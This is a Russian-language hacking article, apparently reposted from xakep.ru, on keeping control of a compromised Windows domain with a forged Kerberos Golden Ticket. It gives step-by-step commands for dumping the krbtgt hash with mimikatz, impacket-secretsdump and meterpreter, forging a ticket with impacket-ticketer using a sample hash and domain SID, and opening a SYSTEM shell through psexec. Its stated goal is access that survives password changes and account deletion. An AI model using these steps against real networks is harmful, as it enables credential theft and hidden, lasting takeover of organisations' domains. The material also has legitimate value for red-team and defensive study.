Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Представь, что мы скомпрометировали привилегированные учетные записи, используя разные техники повышения привилегий, распространились по сети, скрылись от средств обнаружения, но неожиданно потеряли контроль над доменом, потому что администратор по какой-то причине сменил пароль! В сегодняшней статье мы разберем способы сохранить административный доступ, даже если администратор сменил пароли или разрешения.
Один из способов сохранить доступ к системе — сформировать Golden Ticket: пароль учетной записи krbtgt
не будет изменен при тех же условиях, при которых может быть изменен пароль администратора.
Golden Ticket — это поддельные билеты для выдачи билетов, также называемые аутентификационными билетами (они же TGT). Если посмотреть на схему аутентификации Kerberos в случае Golden Ticket, то можно заметить, что подлинность Kerberos не проверяется (AS-REQ и AS-REP с контроллером домена). Так как Golden Ticket является поддельным TGT, он отправляется контроллеру домена как часть TGS-REQ для получения билета TGS.
Схема аутентификации Kerberos c Golden Ticket
Золотой билет Kerberos — действительный билет Kerberos TGT, поскольку он зашифрован и подписан доменной учетной записью Kerberos (krbtgt
). А так как TGT зашифрован хешем пароля krbtgt
и может быть расшифрован любой службой KDC в домене, то билет и воспринимается как реальный. Для того чтобы сделать Golden Ticket, нам необходимо знать следующее:
krbtgt
.Так как имя пользователя можно использовать любое, остается найти три недостающих компонента. Название и SID домена можно узнать с помощью PowerShell-команды Get-ADDomain
.
SID и имя домена
Теперь нужно получить NTLM-хеш учетной записи krbtgt
. Сделать это можно как удаленно, так и с помощью mimikatz. С использованием mimikatz у оператора есть выбор: выполнить атаку DCSync, используя базу Security Account Managers (SAM), или задействовать модуль sekurlsa.
mimikatz # lsadump::dcsync /user:krbtgt
Получаем хеши с помощью mimikatz, используя атаку DCSync
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
Получаем хеши с помощью mimikatz, используя базу SAM
mimikatz # sekurlsa::krbtgt
Получаем хеши с помощью mimikatz, используя модуль sekurlsa
Удаленная атака выполняется также с использованием DCSync или при наличии открытой сессии meterpreter
.
impacket-secretsdump domain.dom/[email protected]
Получение хешей с помощью secretsdump
Существует два варианта использования meterpreter
: при помощи hashdump
и dcsync_ntlm
(для второго нужно загрузить модуль kiwi).
Получение хешей с помощью meterpreter hashdump
Получение хешей с помощью meterpreter dcsync_ntlm
С помощью полученной информации можно создать и применить Golden Ticket. Сделаем это тремя способами: используя mimikatz, удаленно с помощью ticketer
и с использованием meterpreter
.
Первым делом следует создать билет. Для этого используем скрипт ticketer
из пакета impacket
(напомню, что имя пользователя можно выдумать любое).
impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom anyuser
Создание Golden Ticket с помощью ticketer
В текущей директории создан билет anyuser.ccache
. Экспортируем его.
export KRB5CCNAME=anyuser.ccache
Теперь подключимся с помощью psexec
из того же пакета impacket
.
python3 psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста]
Подключаемся к хосту, используя golden ticket
Получаем удаленное управление с правами SYSTEM
.
Создадим поддельный золотой билет с помощью mimikatz.
Создание golden ticket с помощью mimikatz
Если в данной команде не использовать параметр /ptt
, то билет будет просто сохранен в текущей директории. В данном случае он сразу будет кеширован в памяти. Давай проверим это, вызвав командную строку.
mimikatz # misc::cmd
Теперь, выполнив команду klist
, наблюдаем кешированный Golden Ticket.
Создание Golden Ticket с помощью mimikatz
Для работы с meterpreter
будем использовать модуль kiwi. Первым делом создадим Golden Ticket.
Создание Golden Ticket с помощью meterpreter
Теперь применим его.
Применение Golden Ticket с помощью meterpreter
И проверим, что билет успешно загружен.
Загруженный Golden Ticket
Таким образом, у нас остается возможность работы с повышенными привилегиями, при этом мы не используем учетных данных администраторов. Это означает, что мы можем получить доступ всегда, даже при смене паролей пользователей, изменении их ролей и даже при удалении скомпрометированных учетных записей.
Источник: xakep.ru